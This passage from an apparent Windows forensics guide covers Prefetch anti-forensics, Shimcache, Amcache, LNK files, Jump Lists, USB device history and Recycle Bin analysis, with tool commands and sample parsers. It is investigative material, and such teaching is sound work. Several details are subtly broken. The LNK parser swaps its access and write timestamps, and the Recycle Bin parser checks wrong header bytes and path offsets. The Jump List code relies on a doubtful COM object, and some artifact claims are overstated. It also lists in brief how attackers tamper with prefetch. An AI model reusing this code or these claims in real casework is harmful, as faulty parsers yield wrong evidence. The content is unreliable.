by default on desktop OS (not servers)\n- Limited to 128 executions (older entries overwritten)\n- Only tracks GUI applications (some services excluded)\n- Can be disabled via group policy\n- Not available on SSDs with TRIM enabled in some Windows versions\n\n**Anti-Forensics:**\n- Attackers may delete prefetch files\n- Modify timestamps within prefetch\n- Disable prefetch entirely via registry\n- Run tools from locations that don't generate prefetch\n\n**Detection of Prefetch Tampering:**\n- Gap in prefetch timeline (missing files)\n- Inconsistent timestamps\n- Deleted prefetch files may be recoverable\n- Event logs may show service disable\n\n---\n\n### 6.3 Shimcache (AppCompatCache)\n\nShimcache, also known as AppCompatCache, is a registry artifact that tracks program execution. Unlike Prefetch, it works on all Windows versions and cannot be easily disabled.\n\n#### Registry Location\n\n**Windows Registry Paths:**\n\n```\nWindows 7/Server 2008:\nSYSTEM\\CurrentControlSet\\Control\\Session Manager\\AppCompatCache\n\nWindows 8/10/11/Server 2012/2016/2019:\nSYSTEM\\CurrentControlSet\\Control\\Session Manager\\AppCompatCache\n```\n\nThe data is stored in a binary value named \"AppCompatCache\" (Windows 7) or in a binary format that varies by OS version.\n\n#### Data Structure by Windows Version\n\n**Windows XP/2003:**\n- 12 entries maximum\n- Simple list of filenames\n- No timestamps\n\n**Windows Vista/7/2008:**\n- 512 entries (32-bit) or 1024 entries (64-bit)\n- Filename and last modified time\n- Not in order of execution\n\n**Windows 8/10/2012/2016:**\n- Up to 1024 entries\n- Filename, last modified time, and last update time\n- Additional flags\n- Cached across reboots\n\n**Windows 10 (1703+) and Windows 11:**\n- Different structure (AppCompatCache renamed)\n- Filename, standard information timestamps\n- Multiple entries per file possible\n\n#### Forensic Value\n\nShimcache provides:\n- **Program execution:** Every executed file leaves an entry\n- **Last modified time:** When the file was last modified\n- **Last update time:** When the cache entry was updated\n- **Execution timeline:** Approximate execution time (based on cache updates)\n\n**What Shimcache Reveals:**\n\n```\nEntry 1:\nPath: C:\\Users\\John\\Downloads\\malware.exe\nLast Modified: 2023-06-15 10:23:45\nLast Update: 2023-06-15 10:24:12\nFlag: 0x02 (Executed)\n\nEntry 2:\nPath: C:\\Windows\\System32\\cmd.exe\nLast Modified: 2023-04-10 05:30:22\nLast Update: 2023-06-15 10:30:45\nFlag: 0x02 (Executed)\n```\n\n**Investigative Uses:**\n- Identify malware execution\n- Timeline of activities\n- Verify other artifacts (Prefetch, Event Logs)\n- Detect file execution even if deleted\n\n#### Shimcache Analysis Tools\n\n**AppCompatCacheParser (Eric Zimmerman):**\n\n```bash\n# Parse Shimcache from registry hive\nAppCompatCacheParser.exe --csv output --csvf shimcache.csv -f SYSTEM\n\n# Parse from live system\nAppCompatCacheParser.exe --csv output --csvf shimcache.csv\n```\n\n**Sample Output:**\n```\nControlSet001\\Control\\Session Manager\\AppCompatCache\n\nEntry,Path,Last Modified Time UTC,Last Update Time UTC,Flag\n1,C:\\Windows\\System32\\userinit.exe,2023-01-15 10:23:45,2023-06-15 08:15:22,0x02\n2,C:\\Windows\\System32\\winlogon.exe,2023-01-15 10:23:47,2023-06-15 08:15:23,0x02\n3,C:\\Users\\John\\AppData\\Local\\Temp\\malware.exe,2023-06-15 14:23:45,2023-06-15 14:24:12,0x02\n```\n\n**PowerShell Extraction:**\n\n```powershell\n# Extract Shimcache from offline SYSTEM hive\nfunction Get-Shimcache {\n    param($SystemHive)\n    \n    reg load HKLM\\TempSys $SystemHive\n    \n    $paths = @()\n    $key = \"HKLM:\\TempSys\\ControlSet001\\Control\\Session Manager\\AppCompatCache\"\n    \n    if (Test-Path $key) {\n        $value = (Get-ItemProperty -Path $key).AppCompatCache\n        \n        # Parse based on OS version (simplified)\n        # Windows 7 structure\n        $offset = 0\n        while ($offset -lt $value.Length - 16) {\n            $pathBytes = $value[$offset..($offset+512)]\n            $path = [System.Text.Encoding]::Unicode.GetString($pathBytes).Trim(\"`0\")\n            \n            if ($path.Length -gt 0) {\n                $timestamp = [System.BitConverter]::ToInt64($value, $offset+512)\n                if ($timestamp -gt 0) {\n                    $time = [DateTime]::FromFileTime($timestamp)\n                }\n                \n                $paths += [PSCustomObject]@{\n                    Path = $path\n                    LastModified = $time\n                }\n            }\n            $offset += 528\n        }\n    }\n    \n    reg unload HKLM\\TempSys\n    return $paths\n}\n\nGet-Shimcache \"C:\\evidence\\SYSTEM\" | Export-Csv shimcache.csv\n```\n\n#### Shimcache vs Prefetch\n\n| Feature | Shimcache | Prefetch |\n|---------|-----------|----------|\n| Windows versions | All | Desktop only |\n| Persistence | Registry (permanent) | Files (may be deleted) |\n| Capacity | 512-1024 entries | 128 entries per program |\n| Timestamps | Last modified | Last execution time |\n| Run count | No | Yes |\n| Files accessed | No | Yes |\n| Anti-forensics | Hard to clear | Easy to delete |\n| Forensic value | High for execution | High for details |\n\n---\n\n### 6.4 Amcache\n\nAmcache (Application Compatibility Cache) is a more recent artifact that tracks program execution and installation with greater detail.\n\n#### Amcache Hive Location\n\n```\n%SystemRoot%\\AppCompat\\Programs\\Amcache.hve\n```\n\nThe Amcache.hve file is a registry hive that can be loaded and parsed like any other registry hive.\n\n#### Key Amcache Tables\n\n**InventoryApplicationFile Table:**\n- Program executables\n- File paths\n- File sizes\n- Modification times\n- Hash values (SHA1)\n- Product names\n- Publisher information\n- Version numbers\n\n**InventoryApplication Table:**\n- Installed applications\n- Installation times\n- Publisher information\n- Uninstall keys\n- Version data\n\n**InventoryDeviceContainer:**\n- Connected devices\n- USB devices\n- Device classes\n- Friendly names\n\n**InventoryDevicePnp:**\n- Plug and Play devices\n- Hardware IDs\n- Driver information\n\n#### Forensic Value\n\nAmcache provides:\n- **Full program details:** Not just execution, but complete metadata\n- **Installed applications:** Complete list of installed software\n- **USB device history:** Detailed device information\n- **File hashes:** SHA1 of executables (for threat intelligence)\n- **Deletion records:** When programs were uninstalled\n- **First execution:** When a program first ran\n- **Last execution:** Most recent execution (some versions)\n\n**What Amcache Reveals:**\n\n```\nInventoryApplicationFile:\nPath: C:\\Program Files\\Malware\\malware.exe\nSHA1: 1A2B3C4D5E6F7890...\nSize: 245760 bytes\nModified: 2023-06-15 10:23:45\nProduct Name: Malicious Software\nPublisher: Unknown\nVersion: 1.0.0.0\nProgramId: {GUID}\n\nInventoryApplication:\nName: Malicious Software\nPublisher: Unknown\nVersion: 1.0.0.0\nInstallDate: 2023-06-15 10:23:45\nUninstallKey: {GUID}\n```\n\n#### Amcache Analysis Tools\n\n**AmcacheParser (Eric Zimmerman):**\n\n```bash\n# Parse Amcache hive\nAmcacheParser.exe -f Amcache.hve --csv output\n\n# Output includes multiple CSV files:\n# - Amcache_InventoryApplication.csv\n# - Amcache_InventoryApplicationFile.csv\n# - Amcache_InventoryDeviceContainer.csv\n# - Amcache_InventoryDriverBinary.csv\n```\n\n**Sample Output (InventoryApplicationFile.csv):**\n```\n\"ProgramId\",\"FileId\",\"Path\",\"Sha1\",\"Size\",\"FileDescription\",\"Modified\"\n\"{GUID1}\",\"{GUID2}\",\"C:\\Windows\\System32\\cmd.exe\",\"1A2B3C...\",\"296960\",\"Windows Command Processor\",\"2023-01-15 10:23:45\"\n\"{GUID3}\",\"{GUID4}\",\"C:\\Users\\John\\Downloads\\malware.exe\",\"9F8E7D...\",\"245760\",\"\",\"2023-06-15 14:23:45\"\n```\n\n**PowerShell Amcache Analysis:**\n\n```powershell\n# Load Amcache as registry hive\nreg load HKLM\\Amcache C:\\evidence\\Amcache.hve\n\n# Query installed applications\nGet-ChildItem \"HKLM:\\Amcache\\InventoryApplication\" -Recurse | ForEach-Object {\n    $props = Get-ItemProperty $_.PSPath\n    [PSCustomObject]@{\n        Name = $props.Name\n        Publisher = $props.Publisher\n        Version = $props.Version\n        InstallDate = if ($props.InstallDate) {\n            [DateTime]::ParseExact($props.InstallDate, \"yyyyMMdd\", $null)\n        }\n        UninstallKey = $props.UninstallKey\n    }\n} | Export-Csv amcache_apps.csv\n\n# Query executable files\nGet-ChildItem \"HKLM:\\Amcache\\InventoryApplicationFile\" -Recurse | ForEach-Object {\n    $props = Get-ItemProperty $_.PSPath\n    [PSCustomObject]@{\n        Path = $props.Path\n        Sha1 = $props.Sha1\n        Size = $props.Size\n        Modified = if ($props.LongModified) {\n            [DateTime]::FromFileTime($props.LongModified)\n        }\n        ProgramId = $props.ProgramId\n    }\n} | Export-Csv amcache_files.csv\n\nreg unload HKLM\\Amcache\n```\n\n#### Amcache Timeline Creation\n\n```python\nimport pandas as pd\nfrom datetime import datetime\n\ndef create_amcache_timeline(amcache_files):\n    \"\"\"Create timeline from Amcache data\"\"\"\n    \n    # Read Amcache CSV\n    df = pd.read_csv(amcache_files)\n    \n    timeline = []\n    \n    for _, row in df.iterrows():\n        # First seen (installation or first execution)\n        if pd.notna(row.get('InstallDate')):\n            timeline.append({\n                'timestamp': row['InstallDate'],\n                'event': 'Program Installed',\n                'details': f\"{row['Name']} v{row['Version']} by {row['Publisher']}\",\n                'source': 'Amcache'\n            })\n        \n        # File modified (may indicate execution or update)\n        if pd.notna(row.get('Modified')):\n            timeline.append({\n                'timestamp': row['Modified'],\n                'event': 'File Modified',\n                'details': row['Path'],\n                'source': 'Amcache'\n            })\n    \n    # Sort by timestamp\n    timeline.sort(key=lambda x: x['timestamp'])\n    \n    return timeline\n\ntimeline = create_amcache_timeline('amcache_files.csv')\nfor event in timeline:\n    print(f\"{event['timestamp']}: {event['event']} - {event['details']}\")\n```\n\n---\n\n### 6.5 LNK Artifacts\n\nWindows LNK (link) files are shortcuts created when users access files, providing rich forensic evidence.\n\n#### When LNK Files Are Created\n\n- **User opens a document:** LNK created in Recent folder\n- **USB device connection:** LNK files in Recent show drive letter\n- **File access via network:** LNK shows network path\n- **Program execution:** Start menu shortcuts\n- **Office documents:** Office creates LNK files in special folders\n\n#### LNK File Locations\n\n**User Recent Files:**\n```\n%UserProfile%\\Recent\\\n%UserProfile%\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\n%UserProfile%\\AppData\\Roaming\\Microsoft\\Office\\Recent\\\n```\n\n**AutomaticDestinations (Windows 7+):**\n```\n%UserProfile%\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\\n```\n\n**CustomDestinations:**\n```\n%UserProfile%\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\\n```\n\n#### LNK File Structure\n\n**LNK Header (0x4C bytes):**\n\n| Offset | Size | Field | Description |\n|--------|------|-------|-------------|\n| 0x00 | 4 | Header size | Always 0x4C |\n| 0x04 | 16 | Class identifier | CLSID_ShellLink |\n| 0x14 | 4 | Flags | Link flags (0x01=Has ID list, etc.) |\n| 0x18 | 4 | File attributes | Read-only, hidden, system |\n| 0x1C | 8 | Creation time | When target file created |\n| 0x24 | 8 | Access time | When target last accessed |\n| 0x2C | 8 | Write time | When target last modified |\n| 0x34 | 4 | File size | Target file size |\n| 0x38 | 4 | Icon index | Icon location |\n| 0x3C | 4 | Show command | Window state |\n| 0x40 | 2 | Hotkey | Keyboard shortcut |\n| 0x42 | 2 | Reserved | |\n| 0x44 | 4 | Reserved | |\n| 0x48 | 4 | Reserved | |\n\n**Following the header are optional structures based on flags:**\n\n1. **LinkTargetIDList** (if flag 0x01 set):\n   - Item ID list (Shell namespace paths)\n   - Reconstructs full path to target\n\n2. **LinkInfo** (if flag 0x02 set):\n   - Volume information\n   - Local path\n   - Network path\n   - Drive type\n   - Volume serial number\n\n3. **String Data** (if flags set):\n   - Name string\n   - Relative path\n   - Working directory\n   - Command line arguments\n   - Icon location\n\n#### Forensic Value of LNK Files\n\nLNK files provide:\n- **File access evidence:** What files were opened\n- **Timeline:** When files were accessed (three timestamps)\n- **Location information:** Where files were stored (including USB/network)\n- **Volume details:** Volume serial numbers (matches registry)\n- **File metadata:** Original file size and attributes\n- **MAC times:** Creation, modification, access of target\n\n**What LNK Reveals:**\n\n```\nLNK File: secret.docx.lnk\n\nTarget Information:\n- Full path: D:\\Documents\\secret.docx\n- Volume: D:\\ (removable)\n- Volume serial: 1234-5678\n- File size: 245760 bytes\n- Created: 2023-06-15 09:15:23\n- Modified: 2023-06-15 09:30:45\n- Accessed: 2023-06-15 09:30:45\n\nLNK File Metadata:\n- Created: 2023-06-15 09:31:12 (when shortcut created)\n- Modified: 2023-06-15 09:31:12\n- Accessed: 2023-06-15 09:31:12\n```\n\n**Investigative Uses:**\n- Prove file access (especially incriminating documents)\n- Identify external drives used (volume serial)\n- Reconstruct file system structure at time of access\n- Timeline user activity\n- Find files that have been deleted\n\n#### LNK Analysis Tools\n\n**LECmd (LNK Explorer Command Line):**\n\n```bash\n# Parse single LNK file\nLECmd.exe -f \"C:\\Users\\John\\Recent\\secret.docx.lnk\"\n\n# Parse all LNK files in directory\nLECmd.exe -d \"C:\\Users\\John\\Recent\" --csv output.csv\n\n# Parse AutomaticDestinations\nLECmd.exe -d \"C:\\Users\\John\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\" --csv output.csv\n```\n\n**Sample Output:**\n```\nProcessing secret.docx.lnk\n\nLink Information:\n  Creation Time: 2023-06-15 09:31:12\n  Modification Time: 2023-06-15 09:31:12\n  Access Time: 2023-06-15 09:31:12\n  File Size: 245760 bytes\n\nTarget Information:\n  Full Path: D:\\Documents\\secret.docx\n  Working Directory: D:\\Documents\n  File Size: 245760 bytes\n  Creation Time: 2023-06-15 09:15:23\n  Modification Time: 2023-06-15 09:30:45\n  Access Time: 2023-06-15 09:30:45\n  File Attributes: Archive\n\nVolume Information:\n  Volume Type: Removable\n  Volume Serial: 1234-5678\n  Volume Label: USB DRIVE\n  Local Path: D:\\\n```\n\n**PowerShell LNK Parser:**\n\n```powershell\nfunction Parse-LNK {\n    param($LnkPath)\n    \n    $bytes = [System.IO.File]::ReadAllBytes($LnkPath)\n    \n    # Check signature (first 4 bytes should be 0x4C)\n    if ($bytes[0] -ne 0x4C) {\n        Write-Warning \"Not a valid LNK file\"\n        return\n    }\n    \n    # Parse header\n    $flags = [System.BitConverter]::ToUInt32($bytes, 0x14)\n    $fileAttrs = [System.BitConverter]::ToUInt32($bytes, 0x18)\n    $createTime = [System.BitConverter]::ToInt64($bytes, 0x1C)\n    $accessTime = [System.BitConverter]::ToInt64($bytes, 0x24)\n    $writeTime = [System.BitConverter]::ToInt64($bytes, 0x2C)\n    $fileSize = [System.BitConverter]::ToInt32($bytes, 0x34)\n    \n    $result = [PSCustomObject]@{\n        LnkPath = $LnkPath\n        LnkCreated = if ($createTime -gt 0) { [DateTime]::FromFileTime($createTime) }\n        LnkModified = if ($accessTime -gt 0) { [DateTime]::FromFileTime($accessTime) }\n        LnkAccessed = if ($writeTime -gt 0) { [DateTime]::FromFileTime($writeTime) }\n        TargetFileSize = $fileSize\n        Flags = \"0x$('{0:X}' -f $flags)\"\n        Attributes = $fileAttrs\n    }\n    \n    # Try to extract target path (simplified)\n    if ($flags -band 0x02) { # Has LinkInfo\n        # Parse LinkInfo structure\n        $linkInfoSize = [System.BitConverter]::ToUInt32($bytes, 0x4C)\n        $linkInfoHeaderSize = [System.BitConverter]::ToUInt32($bytes, 0x50)\n        $localPathOffset = [System.BitConverter]::ToUInt32($bytes, 0x60)\n        \n        if ($localPathOffset -gt 0) {\n            $pathBytes = $bytes[($linkInfoHeaderSize + $localPathOffset)..($bytes.Length - 2)]\n            $nullIndex = [Array]::IndexOf($pathBytes, 0x00)\n            if ($nullIndex -gt 0) {\n                $result.TargetPath = [System.Text.Encoding]::Unicode.GetString($pathBytes[0..($nullIndex-1)])\n            }\n        }\n    }\n    \n    return $result\n}\n\nParse-LNK \"C:\\evidence\\secret.docx.lnk\"\n```\n\n---\n\n### 6.6 Jump Lists\n\nJump Lists are an evolution of LNK files in Windows 7 and later, providing even more forensic detail.\n\n#### Jump List Types\n\n**AutomaticDestinations:**\n- Created automatically when programs are used\n- Stored as .automaticDestinations-ms files\n- Named by AppID (Application Identifier)\n- Contains recent items for that application\n\n**CustomDestinations:**\n- Created when users pin items to taskbar\n- Stored as .customDestinations-ms files\n- Named by user action\n- Shows user preferences\n\n#### Jump List Structure\n\nJump Lists are OLE compound files containing:\n- **DestList stream:** List of entries with timestamps\n- **Embedded LNK files:** Complete LNK data for each entry\n\n**DestList Entry Structure:**\n| Offset | Size | Field |\n|--------|------|-------|\n| 0x00 | 8 | Entry ID |\n| 0x08 | 8 | First access time |\n| 0x10 | 8 | Last access time |\n| 0x18 | 8 | Entry ID (again) |\n| 0x20 | 4 | Pin status (0=unpinned, 1=pinned) |\n| 0x24 | 4 | Entry count for this item |\n\n#### Forensic Value\n\nJump Lists provide:\n- **Application usage:** Which programs were used\n- **Recent files:** Complete history of opened files\n- **Access times:** First and last access for each file\n- **Pin status:** User's priority items\n- **Embedded LNK data:** Full file metadata\n\n**What Jump Lists Reveal:**\n\n```\nAppID: {1ac14e77-02e7-4e5d-b744-2eb1ae5198b7} (Windows Explorer)\n\nEntries:\n1. Path: C:\\Users\\John\\Documents\\secret.docx\n   First accessed: 2023-06-15 09:15:23\n   Last accessed: 2023-06-15 14:30:45\n   Access count: 4\n   Pin status: Unpinned\n\n2. Path: \\\\SERVER\\SHARE\\financial.xlsx\n   First accessed: 2023-06-14 10:23:45\n   Last accessed: 2023-06-15 11:15:22\n   Access count: 12\n   Pin status: Pinned\n```\n\n#### Jump List Analysis Tools\n\n**JLECmd (Jump List Explorer Command Line):**\n\n```bash\n# Parse AutomaticDestinations\nJLECmd.exe -d \"C:\\Users\\John\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\" --csv output.csv\n\n# Parse specific file\nJLECmd.exe -f \"C:\\Users\\John\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\1ac14e77.automaticDestinations-ms\"\n```\n\n**Sample Output:**\n```\nProcessing 1ac14e77.automaticDestinations-ms\n\nAppID: {1ac14e77-02e7-4e5d-b744-2eb1ae5198b7}\nAppName: Windows Explorer\n\nEntry 1:\n  Target: C:\\Users\\John\\Documents\\secret.docx\n  First Access: 2023-06-15 09:15:23\n  Last Access: 2023-06-15 14:30:45\n  Access Count: 4\n  Pin Status: 0\n  LNK Data: (embedded)\n\nEntry 2:\n  Target: \\\\SERVER\\SHARE\\financial.xlsx\n  First Access: 2023-06-14 10:23:45\n  Last Access: 2023-06-15 11:15:22\n  Access Count: 12\n  Pin Status: 1\n  LNK Data: (embedded)\n```\n\n**PowerShell Jump List Extraction:**\n\n```powershell\nfunction Parse-JumpList {\n    param($JumpListPath)\n    \n    # Load OLE compound file\n    $storage = New-Object -ComObject \"Storage.Object\"\n    $storage.Open($JumpListPath)\n    \n    # Access DestList stream\n    $destList = $storage.OpenStream(\"DestList\")\n    $bytes = New-Object byte[] $destList.Size\n    $destList.Read($bytes, 0, $destList.Size)\n    \n    # Parse entries (simplified)\n    $entries = @()\n    $offset = 32 # Skip header\n    \n    while ($offset -lt $bytes.Length - 32) {\n        $entryId = [System.BitConverter]::ToUInt64($bytes, $offset)\n        $firstAccess = [System.BitConverter]::ToInt64($bytes, $offset + 8)\n        $lastAccess = [System.BitConverter]::ToInt64($bytes, $offset + 16)\n        $pinStatus = [System.BitConverter]::ToInt32($bytes, $offset + 32)\n        \n        if ($firstAccess -gt 0) {\n            $entries += [PSCustomObject]@{\n                EntryId = $entryId\n                FirstAccess = [DateTime]::FromFileTime($firstAccess)\n                LastAccess = [DateTime]::FromFileTime($lastAccess)\n                PinStatus = $pinStatus\n            }\n        }\n        \n        $offset += 40 # Entry size\n    }\n    \n    $storage.Close()\n    return $entries\n}\n\nParse-JumpList \"C:\\evidence\\1ac14e77.automaticDestinations-ms\"\n```\n\n---\n\n### 6.7 USB Device History\n\nUSB device forensics reveals external storage connections, crucial for data theft investigations.\n\n#### Registry USB Artifacts\n\n**USBSTOR (USB Storage):**\n```\nSYSTEM\\CurrentControlSet\\Enum\\USBSTOR\n```\n\nThis key contains entries for every USB storage device ever connected.\n\n**USBSTOR Subkey Structure:**\n```\nUSBSTOR\\Disk&Ven_Vendor&Prod_Product&Rev_Version\\SerialNumber\n```\n\n**Properties under each device:**\n- **FriendlyName:** User-friendly device name\n- **Class:** Device class (usually \"USB\")\n- **Mfg:** Manufacturer\n- **Service:** Driver service (usually \"disk\")\n- **DeviceDesc:** Device description\n- **Capabilities:** Device capabilities\n- **CompatibleIDs:** Compatible device IDs\n- **HardwareID:** Hardware identifier\n\n**Example:**\n```\nKey: USBSTOR\\Disk&Ven_SanDisk&Prod_Ultra&Rev_1.00\\123456789ABC\nValues:\n  FriendlyName: SanDisk Ultra USB Device\n  Mfg: SanDisk\n  Service: disk\n  DeviceDesc: USB Mass Storage Device\n```\n\n**USB (General USB Devices):**\n```\nSYSTEM\\CurrentControlSet\\Enum\\USB\n```\n\nContains all USB devices, not just storage:\n- Hubs\n- Input devices\n- Composite devices\n- Unknown devices\n\n**Mounted Devices:**\n```\nSYSTEM\\MountedDevices\n```\n\nShows drive letters assigned to volumes, including USB drives.\n\n**Volume Serial Numbers:**\n```\n\\??\\Volume{12345678-9abc-def0-1234-56789abcdef0}\n```\n\nEach volume has a unique GUID and shows:\n- Drive letter assignment\n- Volume serial number\n- Device type\n\n#### Setupapi.log / setupapi.dev.log\n\nLocated in `%SystemRoot%\\INF\\setupapi.dev.log`, this log records device installation events.\n\n**Key Information:**\n- Device installation start/end\n- Driver installation\n- Device removal\n- Error conditions\n- Timestamps\n\n**Example Entry:**\n```\n>>>  [Device Install (Hardware initiated) - USB\\VID_0781&PID_5583\\123456789ABC]\n>>>  Section start 2023/06/15 14:23:45.123\n     cmd: PnP utility\n     ndv: USB\\VID_0781&PID_5583\\123456789ABC\n     dvi: {D7B9D7B5-5D4A-4A5D-9F5D-5F5D5F5D5F5D}\n     dvs: {D7B9D7B5-5D4A-4A5D-9F5D-5F5D5F5D5F5D}\n     Section end 2023/06/15 14:23:46.234\n```\n\n#### Shellbags\n\nShellbags record folder views in Explorer and can show USB folder access.\n\n**Location:**\n```\nNTUSER.DAT\\Software\\Microsoft\\Windows\\Shell\\BagMRU\nNTUSER.DAT\\Software\\Microsoft\\Windows\\Shell\\Bags\n```\n\n**What Shellbags Reveal:**\n- Folders browsed on USB drives\n- Folder names and paths\n- First and last access times\n- Window positions and views\n\n#### Complete USB Investigation Workflow\n\n```python\nimport os\nimport Registry\n\ndef investigate_usb_history(registry_hives_path):\n    \"\"\"Complete USB history investigation\"\"\"\n    \n    results = []\n    \n    # 1. Load SYSTEM hive\n    system = Registry.Registry( os.path.join(registry_hives_path, 'SYSTEM'))\n    \n    # 2. Enumerate USBSTOR\n    try:\n        usbstor = system.open('ControlSet001\\\\Enum\\\\USBSTOR')\n        for device in usbstor.subkeys():\n            for instance in device.subkeys():\n                device_info = {}\n                \n                # Get device properties\n                for value in instance.values():\n                    device_info[value.name()] = value.value()\n                \n                # Get first/ last connection from timestamps\n                # (stored in subkey timestamps)\n                \n                results.append({\n                    'source': 'USBSTOR',\n                    'device_id': instance.name(),\n                    'friendly_name': device_info.get('FriendlyName', ''),\n                    'manufacturer': device_info.get('Mfg', ''),\n                    'serial': instance.name().split('&')[-1],\n                    'first_seen': instance.timestamp(),\n                    'last_seen': instance.timestamp(),  # Approximate\n                })\n    except Registry.RegistryKeyNotFoundException:\n        pass\n    \n    # 3. Check MountedDevices for drive letters\n    try:\n        mounted = system.open('MountedDevices')\n        for value in mounted.values():\n            value_name = value.name()\n            if 'Volume' in value_name:\n                # Parse binary data for volume info\n                # (complex - varies by Windows version)\n                pass\n    except:\n        pass\n    \n    # 4. Check user hives for shellbags\n    for user_hive in ['NTUSER.DAT', 'UsrClass.dat']:\n        try:\n            user_reg = Registry.Registry(\n                os.path.join(registry_hives_path, user_hive)\n            )\n            \n            # Look for USB paths in BagMRU\n            try:\n                bagmru = user_reg.open('Software\\\\Microsoft\\\\Windows\\\\Shell\\\\BagMRU')\n                # Recursively enumerate for USB paths\n                # (D:\\, E:\\ etc.)\n                pass\n            except:\n                pass\n        except:\n            pass\n    \n    # 5. Parse setupapi logs\n    setup_log = os.path.join(os.environ['SystemRoot'], 'INF', 'setupapi.dev.log')\n    if os.path.exists(setup_log):\n        with open(setup_log, 'r', errors='ignore') as f:\n            for line in f:\n                if 'USB' in line and 'Device Install' in line:\n                    # Parse device installation events\n                    pass\n    \n    return results\n\n# Run investigation\nusb_history = investigate_usb_history('C:/evidence/Registry')\nfor device in usb_history:\n    print(f\"Device: {device['friendly_name']}\")\n    print(f\"  Serial: {device['serial']}\")\n    print(f\"  First seen: {device['first_seen']}\")\n    print(f\"  Last seen: {device['last_seen']}\")\n```\n\n#### USB Device Timeline Creation\n\n```python\ndef create_usb_timeline(usb_history, shellbags, setupapi):\n    \"\"\"Create comprehensive USB timeline\"\"\"\n    \n    timeline = []\n    \n    # Add USBSTOR events\n    for device in usb_history:\n        timeline.append({\n            'timestamp': device['first_seen'],\n            'event': 'USB Device Connected',\n            'details': f\"{device['friendly_name']} ({device['serial']})\",\n            'source': 'USBSTOR'\n        })\n        \n        if device['last_seen'] != device['first_seen']:\n            timeline.append({\n                'timestamp': device['last_seen'],\n                'event': 'USB Device Last Seen',\n                'details': f\"{device['friendly_name']} ({device['serial']})\",\n                'source': 'USBSTOR'\n            })\n    \n    # Add shellbag events (folder access)\n    for folder in shellbags:\n        if 'USB' in folder['path'] or folder['path'].startswith(('D:', 'E:', 'F:')):\n            timeline.append({\n                'timestamp': folder['accessed'],\n                'event': 'USB Folder Accessed',\n                'details': folder['path'],\n                'source': 'Shellbags'\n            })\n    \n    # Add setupapi events\n    for event in setupapi:\n        timeline.append({\n            'timestamp': event['time'],\n            'event': event['description'],\n            'details': event['details'],\n            'source': 'SetupAPI'\n        })\n    \n    # Sort chronologically\n    timeline.sort(key=lambda x: x['timestamp'])\n    \n    return timeline\n```\n\n---\n\n### 6.8 Recycle Bin Forensics\n\nThe Recycle Bin preserves deleted files with metadata essential for investigations.\n\n#### Recycle Bin Structure\n\n**Windows XP and earlier:**\n- INFO2 file in each drive's RECYCLER folder\n- Hidden folder: `C:\\RECYCLER\\SID\\`\n\n**Windows Vista and later:**\n- `$Recycle.Bin` folder on each drive\n- Subfolder for each user SID: `C:\\$Recycle.Bin\\S-1-5-21-...\\`\n\n**File Naming:**\n- Deleted files renamed to `$R[random].[ext]`\n- Metadata stored in `$I[random].[ext]` (same random name)\n\n#### $I File Structure\n\nThe $I file contains metadata about the deleted file:\n\n| Offset | Size | Field | Description |\n|--------|------|-------|-------------|\n| 0x00 | 8 | Header | \"$I\" + version (30 00 30 00 30 00 30 00) |\n| 0x08 | 8 | Original file size | Size before deletion |\n| 0x10 | 8 | Deletion time | When file was deleted |\n| 0x18 | 8 | Original file path length | Length in characters |\n| 0x20 | Variable | Original file path | Unicode path |\n\n**Example $I File:**\n```\nHeader: $I (30 00 30 00 30 00 30 00)\nSize: 245760 bytes\nDeleted: 2023-06-15 14:30:45\nPath: C:\\Users\\John\\Documents\\secret.docx\n```\n\n#### $R File\n\nThe $R file contains the actual file content:\n- May be partially overwritten\n- Original filename not preserved\n- Content remains until overwritten\n\n#### Forensic Value\n\nRecycle Bin provides:\n- **Deleted file recovery:** Content of deleted files\n- **Original paths:** Where files came from\n- **Deletion timestamps:** When files were deleted\n- **File sizes:** Original size (compare to recovered)\n- **User attribution:** Which user deleted (by SID folder)\n\n#### Recycle Bin Analysis Tools\n\n**PowerShell Recycle Bin Parser:**\n\n```powershell\nfunction Get-RecycleBin {\n    param($Drive = \"C:\")\n    \n    $recyclePath = Join-Path $Drive \"\\$Recycle.Bin\"\n    $results = @()\n    \n    # Get all user SID folders\n    Get-ChildItem $recyclePath -Directory | ForEach-Object {\n        $userFolder = $_.FullName\n        $sid = $_.Name\n        \n        # Find all $I files\n        Get-ChildItem \"$userFolder\\$I*\" | ForEach-Object {\n            $iFile = $_.FullName\n            $rFile = $iFile.Replace('\\$I', '\\$R')\n            \n            # Read $I file structure\n            $bytes = [System.IO.File]::ReadAllBytes($iFile)\n            \n            # Check header\n            if ($bytes[0] -ne 0x30 -or $bytes[1] -ne 0x00) {\n                return\n            }\n            \n            # Parse metadata\n            $fileSize = [System.BitConverter]::ToInt64($bytes, 0x08)\n            $deleteTime = [System.BitConverter]::ToInt64($bytes, 0x10)\n            $pathLength = [System.BitConverter]::ToInt32($bytes, 0x18)\n            \n            # Extract original path\n            $pathBytes = $bytes[0x1C..(0x1C + ($pathLength * 2) - 1)]\n            $originalPath = [System.Text.Encoding]::Unicode.GetString($pathBytes)\n            \n            # Get $R file info if exists\n            $rFileInfo = if (Test-Path $rFile) {\n                Get-ChildItem $rFile | Select-Object Length, LastWriteTime\n            }\n            \n            $results += [PSCustomObject]@{\n                SID = $sid\n                OriginalPath = $originalPath\n                OriginalSize = $fileSize\n                DeletedTime = [DateTime]::FromFileTime($deleteTime)\n                RecycleFile = $rFile\n                RecycledSize = if ($rFileInfo) { $rFileInfo.Length } else { 0 }\n                RecycledModified = if ($rFileInfo) { $rFileInfo.LastWriteTime } else { $null }\n                Recovered = (Test-Path $rFile)\n            }\n        }\n    }\n    \n    return $results\n}\n\n# Analyze recycle bin\n$deleted = Get-RecycleBin \"C:\"\n$deleted | Export-Csv recycle_bin.csv -NoTypeInformation\n```\n\n**FTK Imager:**\n- Browse to `C:\\$Recycle.Bin`\n- View $I files as metadata\n- Export $R files for recovery\n\n#### Recovering Specific Files\n\n```python\ndef recover_from_recycle_bin(recycle_path, target_filename_pattern):\n    \"\"\"Recover specific files from Recycle Bin\"\"\"\n    \n    import os\n    import struct\n    \n    recovered = []\n    \n    for root, dirs, files in os.walk(recycle_path):\n        for file in files:\n            if file.startswith('$I'):\n                i_path = os.path.join(root, file)\n                r_path = i_path.replace('$I', '$R')\n                \n                # Read $I file\n                with 